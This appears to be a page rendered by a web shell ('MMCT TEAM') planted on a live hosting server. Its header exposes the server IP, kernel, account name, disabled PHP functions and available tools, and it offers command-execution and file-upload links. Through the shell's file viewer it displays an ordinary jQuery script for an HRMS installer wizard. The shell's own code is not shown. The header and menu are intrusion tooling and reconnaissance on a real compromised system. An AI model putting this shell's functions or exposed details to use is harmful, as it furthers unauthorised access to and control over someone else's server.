MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.53
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 7.4.33
Disable Function : show_source, system, shell_exec, passthru, popen, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/celkcksm/hrms.ncriptech.com/public/vendor/jmrashed/js/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/hrms.ncriptech.com/public/vendor/jmrashed/js/index.js
// follow-next-side-step
$(".follow-next-step").on("click", function () {
  let closetTab = $(this).closest(".tab-section");
  let currentStepCount = closetTab.attr("step-count");
  let base_path=$('#base_path').val();

  closetTab.removeClass("show-section");
  closetTab.next().addClass("show-section");

  let images = [
    base_path+"/images/icon-white/welcome.svg",
    base_path+"/images/icon-white/enviroment.svg",
    base_path+"/images/icon-white/verification.svg",
    base_path+"/images/icon-white/database.svg",
    base_path+"/images/icon-white/admin.svg",
    base_path+"/images/icon-white/complete.svg",
  ];

  let nextStepCount = Number(currentStepCount);
  
  $(".step-with-border").eq(nextStepCount).addClass("initial");
  $(".step-with-border img").eq(nextStepCount).attr("src", images[nextStepCount]);
  $(".follow-next-step-side").each(function (index, el) {
    if (index + 1 == currentStepCount) {
      $(this).find(".step-with-border").removeClass("initial");
      $(this).find(".step-with-border").addClass("completed");
      $(this).find(".next-step-status-line").addClass("completed");
      $(this).find("img").attr("src", base_path+"/images/check-mark.svg");
    }
  });
});

MMCT - 2023